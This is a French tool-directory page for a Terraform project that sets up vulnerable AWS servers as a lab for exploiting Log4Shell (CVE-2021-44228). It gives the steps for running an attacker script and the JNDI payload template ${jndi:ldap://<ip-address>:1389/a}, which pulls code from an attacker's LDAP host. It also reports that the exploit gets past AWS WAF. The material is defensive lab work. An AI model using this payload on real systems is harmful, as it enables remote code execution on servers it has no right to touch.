Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
tf-log4j-aws-poc — Les fichiers de ce projet démontrent une preuve de concept de la vulnérabilité log4j (CVE-2021-44228) sur AWS en utilisant Terraform comme Infrastructure-as-a-code. | Kitploit
Outils/GitHubGitHub/moshuum/tf-log4j-aws-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité Cloud
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

Les fichiers de ce projet démontrent une preuve de concept de la vulnérabilité log4j (CVE-2021-44228) sur AWS en utilisant Terraform comme Infrastructure-as-a-code.

Voir le dépôt
1il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Lisez-moi

Description du projet

Ces fichiers de projet démontrent une preuve de concept de la vulnérabilité log4j (CVE-2021-44228) sur AWS en utilisant Terraform Infrastructure-as-a-Code.

Il y a 2 démos dans ce projet :

  1. single-instance contient un serveur vulnérable, vous pouvez utiliser votre ordinateur personnel pour exploiter le serveur, le serveur doit être protégé par AWS WAF.
  2. double-instance contient 2 services, le serveur vulnérable n'est accessible que depuis le serveur proxy inverse, le proxy inverse doit être protégé par ModSecurity.

Conclusion : La première démo montre une exploitation réussie en utilisant AWS WAF. La deuxième démo a été une tentative infructueuse lorsque ModSecurity est en place. En supprimant ModSecurity, l'exploitation réussira. Cela peut être dû au fait que ModSecurity est un projet actif, donc les chaînes vulnérables ont été identifiées et filtrées.

Crédits

Ce poc provient de : https://github.com/kozmer/log4j-shell-poc

Ce blog Medium explique comment son essai a été mené : https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

Mes tests

Personnellement, j'ai testé avec Windows + Powershell, la machine cloud est Ubuntu 18 LTS. (Exploitation avec Kali ou n'importe quel Linux)

Prérequis

  1. AWS_CLI installé
  2. Terraform CLI installé
  3. Clé d'accès prête

CLÉ RSA

Créez via le web (nommez-la 'tf-aws') : https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

Obtenir la clé d'accès

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Sélectionnez l'utilisateur > Sélectionnez la section security_credentials

Définir la clé d'accès dans le shell

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

Utilisation

Configurer EC2 sur la plateforme AWS

cd single-instance
terraform init
terraform apply

Après l'exécution, une IP / DNS sera listée.

Pour single-instance, assurez-vous que http:<aws host url>:8080 est accessible

Pour double-instance, assurez-vous que http:<aws host url> est accessible

* veuillez noter que le lancement de 'double-instance' prend beaucoup plus de temps, vous pouvez utiliser journalctl -f après ssh dans le système pour suivre la progression

Si vous suivez le journal, "Reached target Cloud-init target." signifie qu'il est prêt.
exploit

Préparer le client distant / localhost (attaquant) :

Définir la permission d'exécution chmod +x ../exploit-script-remote.sh

Exécuter le script avec la variable fournie
../exploit-script-remote.sh

Notez que la charge utile est affichée à la fin du script, similaire à ${jndi:ldap://<ip-address>:1389/a}

Serveur vulnérable :

Visitez http:<aws host url>:8080

Copiez la charge utile dans le champ 'username' puis soumettez le formulaire

exploit

Remarque

Fichier JDK : assurez-vous que l'intégrité de la source Baidu correspond au hash d'Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

Références

Instance : https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

Spot instance : https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH : https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[ssh key on the fly] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

Waf : https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

Templating : https://spacelift.io/blog/terraform-templates

AWS AZ ID : https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

Ce que j'ai appris

  • (beaucoup de temps passé) ne pas utiliser provision comme script bash / utiliser un modèle à la place (pour mieux voir s'il est possible de rétrograder les privilèges)
  • La clé RSA générée via le web est plus fiable que celle générée manuellement avec aws-cli si on utilise .pem (compatibilité du fichier .pem avec le client SSH ou le serveur AWS), sinon utilisez une clé RSA normale sans pem.
  • a réussi à utiliser une instance spot au lieu d'une normale pour quelques économies
  • L'exposition de port Docker peut écraser les règles du pare-feu
  • (beaucoup de temps passé) La configuration et le dépannage du réseau prennent beaucoup de temps - Route, vpc nécessitent 1 groupe de sécurité et l'hôte ec2 un autre groupe de sécurité - et les deux groupes de sécurité doivent pointer vers le vpc
  • wget ne peut pas gérer une longue session de téléchargement

# Suivi du temps

  • Début 06 Jun 11AM UTC+0800 - 07 Jun 4AM (POC+tf+aws -waf terminé) - 17 heures
  • Début 07 Jun 1PM UTC+0800 - 08 Jun 5AM (Deuxième cas avec proxy inverse terminé)
Télécharger l’outil